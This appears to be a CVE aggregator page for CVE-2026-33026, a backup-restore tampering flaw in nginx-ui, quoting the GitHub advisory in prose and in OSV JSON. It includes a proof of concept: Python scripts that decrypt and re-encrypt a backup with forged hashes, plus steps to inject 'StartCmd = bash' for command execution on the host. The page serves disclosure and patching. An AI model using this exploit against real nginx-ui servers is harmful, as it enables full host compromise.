CVE-2026-33026: Github.com/0xJacky/Nginx UI Nginx-ui Backup Restore Allows Tampering Vulnerability

CRITICAL
Advisory Identifier: GHSA-fhh2-gg7w-gwpq
CWE-312 CWE-354 CWE-347
Published
Advisory Summary

CVE-2026-33026 is a CRITICAL nginx-ui backup restore allows tampering vulnerability (CWE-312: Cleartext Storage of Sensitive Information) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui backup restore allows tampering with encrypted backups. Remediation is available by upgrading affected packages to version 1.9.10-0.20260315015203-f61bcec547c0.

CVE-2026-33026 at a Glance

CVE Identifier CVE-2026-33026
GHSA Identifier GHSA-fhh2-gg7w-gwpq
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-312: Cleartext Storage of Sensitive Information
Affected Product Github.com/0xJacky/Nginx UI
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-33026

To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/0xJacky/Nginx-UI fixed: 1.9.10-0.20260315015203-f61bcec547c0
Upgrade github.com/0xJacky/Nginx-UI to 1.9.10-0.20260315015203-f61bcec547c0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/0xJacky/Nginx-UI

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33026, inspect your project dependencies for Github.com/0xJacky/Nginx UI:

inspect dependencies for github.com/0xJacky/Nginx-UI

Analyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.10-0.20260315015203-f61bcec547c0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-312: Cleartext Storage of Sensitive Information, where the product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration. ## Details The backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle. Because the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host. The backup system is built around the following workflow: 1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`. 2. The files are encrypted using AES-256-CBC. 3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`. 4. The hash file is also encrypted with the same AES key and IV. 5. The AES key and IV are provided to the client as a "backup security token". This architecture creates a circular trust model: - The encryption key is available to the client. - The integrity metadata is encrypted with that same key. - The restore process trusts hashes contained within the backup itself. Because the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content. ### Environment - **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64) - **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0) - **Deployment**: Docker Container default installation - **Relevant Source Files**: - `backup_crypto.go` - `backup.go` - `restore.go` - `SystemRestoreContent.vue` ## PoC 1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file. <img width="1483" height="586" alt="image" src="https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f" /> 2. Decrypt the `nginx-ui.zip` archive using the obtained token. ``` import base64 import os import sys import zipfile from io import BytesIO from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes: key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(encrypted_data) return unpad(decrypted, AES.block_size) def process_local_backup(file_path, token, output_dir): key_b64, iv_b64 = token.split(":") os.makedirs(output_dir, exist_ok=True) print(f"[*] File processing: {file_path}") with zipfile.ZipFile(file_path, 'r') as main_zip: main_zip.extractall(output_dir) files_to_decrypt = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"] for filename in files_to_decrypt: path = os.path.join(output_dir, filename) if os.path.exists(path): with open(path, "rb") as f: encrypted = f.read() decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64) out_path = path + ".decrypted" with open(out_path, "wb") as f: f.write(decrypted) print(f"[*] Successfully decrypted: {out_path}") # Manual config BACKUP_FILE = "backup-20260314-151959.zip" TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" OUTPUT = "decrypted" if __name__ == "__main__": process_local_backup(BACKUP_FILE, TOKEN, OUTPUT) ``` 3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`). 4. Re-compress the files and calculate the new SHA-256 hash. 5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files. 6. Encrypt the bundle again using the original Key and IV. ``` import base64 import hashlib import os import zipfile from Crypto.Cipher import AES from Crypto.Util.Padding import pad def encrypt_file(data, key_b64, iv_b64): key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.encrypt(pad(data, AES.block_size)) def build_rebuilt_backup(files, token, output_filename="backup_rebuild.zip"): key_b64, iv_b64 = token.split(":") encrypted_blobs = {} for fname in files: with open(fname, "rb") as f: data = f.read() blob = encrypt_file(data, key_b64, iv_b64) target_name = fname.replace(".decrypted", "") encrypted_blobs[target_name] = blob print(f"[*] Cipher {target_name}: {len(blob)} bytes") hash_content = "" for name, blob in encrypted_blobs.items(): h = hashlib.sha256(blob).hexdigest() hash_content += f"{name}: {h}\n" encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64) encrypted_blobs["hash_info.txt"] = encrypted_hash_info with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf: for name, blob in encrypted_blobs.items(): zf.writestr(name, blob) print(f"\n[*] Backup rebuild: {output_filename}") print(f"[*] Verificando integridad...") TOKEN = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" FILES = ["nginx-ui.zip.decrypted", "nginx.zip.decrypted"] if __name__ == "__main__": build_rebuilt_backup(FILES, TOKEN) ``` 7. Upload the tampered backup to the `nginx-ui` restore interface. <img width="1059" height="290" alt="image" src="https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a" /> 8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host. <img width="1316" height="627" alt="image" src="https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6" /> ## Impact An attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration. Potential impacts include: - Persistent configuration tampering - Backdoor insertion into nginx configuration - Execution of attacker-controlled commands depending on configuration settings - Full compromise of the nginx-ui instance The severity depends on the restore permissions and deployment configuration. ## Recommended Mitigation 1. **Introduce a trusted integrity root** Integrity metadata must not be derived solely from data contained in the backup. Possible solutions include: - Signing backup metadata using a server-side private key - Storing integrity metadata separately from the backup archive 2. **Enforce integrity verification** The restore operation must abort if hash verification fails. 3. **Avoid circular trust models** If encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation. 4. **Optional cryptographic improvements** While not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret. This vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive. ## Regression The previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue. The backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients. As a result, the fundamental integrity weakness remains exploitable even after the previous fix. A patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.

CVE-2026-33026 Affected Github.com/0xJacky/Nginx UI Versions

1 component(s)
Fixed Versions:
1.9.10-0.20260315015203-f61bcec547c0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/0xJacky/Nginx-UI
Go
< 1.9.10-0.20260315015203-f61bcec547c0
1.9.10-0.20260315015203-f61bcec547c0

References

Frequently Asked Questions

What is CVE-2026-33026?
CVE-2026-33026 is a security vulnerability in Github.com/0xJacky/Nginx UI involving nginx-ui Backup Restore Allows Tampering with Encrypted Backups under CWE-312: Cleartext Storage of Sensitive Information.
Which Github.com/0xJacky/Nginx UI versions are affected?
Affected versions include releases prior to 1.9.10-0.20260315015203-f61bcec547c0 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-33026?
Upgrading to 1.9.10-0.20260315015203-f61bcec547c0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 1.9.10-0.20260315015203-f61bcec547c0. Upgrade your dependency to 1.9.10-0.20260315015203-f61bcec547c0 or later.
What CWE is associated with CVE-2026-33026?
CVE-2026-33026 is classified under CWE-312: Cleartext Storage of Sensitive Information (The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.).
How can I check Go dependencies for CVE-2026-33026?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fhh2-gg7w-gwpq",
  "modified" : "2026-07-06T19:35:49Z",
  "published" : "2026-03-30T16:23:34Z",
  "aliases" : [ "CVE-2026-33026" ],
  "summary" : "nginx-ui Backup Restore Allows Tampering with Encrypted Backups",
  "details" : "## Summary\nThe `nginx-ui` backup restore mechanism allows attackers to tamper with encrypted backup archives and inject malicious configuration during restoration.\n\n## Details\nThe backup format lacks a trusted integrity root. Although files are encrypted, the encryption key and IV are provided to the client and the integrity metadata (`hash_info.txt`) is encrypted using the same key. As a result, an attacker who can access the backup token can decrypt the archive, modify its contents, recompute integrity hashes, and re-encrypt the bundle.\n\nBecause the restore process does not enforce integrity verification and accepts backups even when hash mismatches are detected, the system restores attacker-controlled configuration even when integrity verification warnings are raised. In certain configurations this may lead to arbitrary command execution on the host.\n\nThe backup system is built around the following workflow:\n\n1. Backup files are compressed into `nginx-ui.zip` and `nginx.zip`.\n2. The files are encrypted using AES-256-CBC.\n3. SHA-256 hashes of the encrypted files are stored in `hash_info.txt`.\n4. The hash file is also encrypted with the same AES key and IV.\n5. The AES key and IV are provided to the client as a \"backup security token\".\n\nThis architecture creates a circular trust model:\n\n- The encryption key is available to the client.\n- The integrity metadata is encrypted with that same key.\n- The restore process trusts hashes contained within the backup itself.\n\nBecause the attacker can decrypt and re-encrypt all files using the provided token, they can also recompute valid hashes for any modified content.\n\n### Environment\n- **OS**: Kali Linux 6.17.10-1kali1 (6.17.10+kali-amd64)\n- **Application Version**: nginx-ui v2.3.3 (513) e5da6dd (go1.26.0)\n- **Deployment**: Docker Container default installation\n- **Relevant Source Files**:\n  - `backup_crypto.go`\n  - `backup.go`\n  - `restore.go`\n  - `SystemRestoreContent.vue`\n\n\n## PoC\n1. Generate a backup and extract the security token (Key and IV) from the HTTP response headers or the `.key` file.\n    <img width=\"1483\" height=\"586\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857a1b3f-ce66-4929-a165-2f28393df17f\" />\n\n2. Decrypt the `nginx-ui.zip` archive using the obtained token.\n``` \nimport base64\nimport os\nimport sys\nimport zipfile\nfrom io import BytesIO\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    \n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\ndef process_local_backup(file_path, token, output_dir):\n    key_b64, iv_b64 = token.split(\":\")\n    os.makedirs(output_dir, exist_ok=True)\n    print(f\"[*] File processing: {file_path}\")\n    \n    with zipfile.ZipFile(file_path, 'r') as main_zip:\n        main_zip.extractall(output_dir)\n        \n    files_to_decrypt = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n    \n    for filename in files_to_decrypt:\n        path = os.path.join(output_dir, filename)\n        if os.path.exists(path):\n            with open(path, \"rb\") as f:\n                encrypted = f.read()\n            \n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n            \n            out_path = path + \".decrypted\"\n            with open(out_path, \"wb\") as f:\n                f.write(decrypted)\n            print(f\"[*] Successfully decrypted: {out_path}\")\n\n# Manual config\nBACKUP_FILE = \"backup-20260314-151959.zip\" \nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nOUTPUT = \"decrypted\"\n\nif __name__ == \"__main__\":\n    process_local_backup(BACKUP_FILE, TOKEN, OUTPUT)\n```\n\n3. Modify the contained `app.ini` to inject malicious configuration (e.g., `StartCmd = bash`).\n4. Re-compress the files and calculate the new SHA-256 hash.\n5. Update `hash_info.txt` with the new, legitimate-looking hashes for the modified files.\n6. Encrypt the bundle again using the original Key and IV.\n```\nimport base64\nimport hashlib\nimport os\nimport zipfile\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\n\ndef encrypt_file(data, key_b64, iv_b64):\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(pad(data, AES.block_size))\n\ndef build_rebuilt_backup(files, token, output_filename=\"backup_rebuild.zip\"):\n    key_b64, iv_b64 = token.split(\":\")\n    \n    encrypted_blobs = {}\n    for fname in files:\n        with open(fname, \"rb\") as f:\n            data = f.read()\n        \n        blob = encrypt_file(data, key_b64, iv_b64)\n\n        target_name = fname.replace(\".decrypted\", \"\")\n        encrypted_blobs[target_name] = blob\n        print(f\"[*] Cipher {target_name}: {len(blob)} bytes\")\n\n    hash_content = \"\"\n    for name, blob in encrypted_blobs.items():\n        h = hashlib.sha256(blob).hexdigest()\n        hash_content += f\"{name}: {h}\\n\"\n    \n    encrypted_hash_info = encrypt_file(hash_content.encode(), key_b64, iv_b64)\n    encrypted_blobs[\"hash_info.txt\"] = encrypted_hash_info\n\n    with zipfile.ZipFile(output_filename, 'w', compression=zipfile.ZIP_DEFLATED) as zf:\n        for name, blob in encrypted_blobs.items():\n            zf.writestr(name, blob)\n            \n    print(f\"\\n[*] Backup rebuild: {output_filename}\")\n    print(f\"[*] Verificando integridad...\")\n\nTOKEN = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\"\nFILES = [\"nginx-ui.zip.decrypted\", \"nginx.zip.decrypted\"]\n\nif __name__ == \"__main__\":\n    build_rebuilt_backup(FILES, TOKEN)\n```\n7. Upload the tampered backup to the `nginx-ui` restore interface.\n   <img width=\"1059\" height=\"290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/66872685-b85b-4c81-ae24-13c811acba9a\" />\n\n\n8. **Observation**: The system accepts the modified backup. Although a warning may appear, the restoration proceeds and the malicious configuration is applied, granting the attacker arbitrary command execution on the host.\n   <img width=\"1316\" height=\"627\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2752749e-ac39-4d60-88ca-5058b8e840a6\" />\n\n\n\n## Impact\nAn attacker capable of uploading or supplying a malicious backup can modify application configuration and internal state during restoration.\n\nPotential impacts include:\n\n- Persistent configuration tampering\n- Backdoor insertion into nginx configuration\n- Execution of attacker-controlled commands depending on configuration settings\n- Full compromise of the nginx-ui instance\n\nThe severity depends on the restore permissions and deployment configuration.\n\n## Recommended Mitigation\n\n1. **Introduce a trusted integrity root**\nIntegrity metadata must not be derived solely from data contained in the backup. Possible solutions include:\n   - Signing backup metadata using a server-side private key\n   - Storing integrity metadata separately from the backup archive\n\n2. **Enforce integrity verification**\nThe restore operation must abort if hash verification fails.\n\n3. **Avoid circular trust models**\nIf encryption keys are distributed to clients, the backup must not rely on attacker-controlled metadata for integrity validation.\n\n4. **Optional cryptographic improvements**\nWhile not sufficient alone, switching to an authenticated encryption scheme such as AES-GCM can simplify integrity protection if the encryption keys remain secret.\n\nThis vulnerability arises from a circular trust model where integrity metadata is protected using the same key that is provided to the client, allowing attackers to recompute valid integrity data after modifying the archive.\n\n## Regression\n\nThe previously reported vulnerability (GHSA-g9w5-qffc-6762) addressed unauthorized access to backup files but did not resolve the underlying cryptographic design issue.\n\nThe backup format still allows attacker-controlled modification of encrypted backup contents because integrity metadata is protected using the same key distributed to clients.\n\nAs a result, the fundamental integrity weakness remains exploitable even after the previous fix.\n\nA patched version is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/0xJacky/Nginx-UI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.10-0.20260315015203-f61bcec547c0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-fhh2-gg7w-gwpq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33026"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/commit/f61bcec547c0f305e35348d6440ef156c1d5c3cb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/0xJacky/nginx-ui"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-g9w5-qffc-6762"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/vuln/GO-2026-4903"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-312", "CWE-347", "CWE-354" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T16:23:34Z",
    "nvd_published_at" : "2026-03-30T20:16:22Z"
  }
}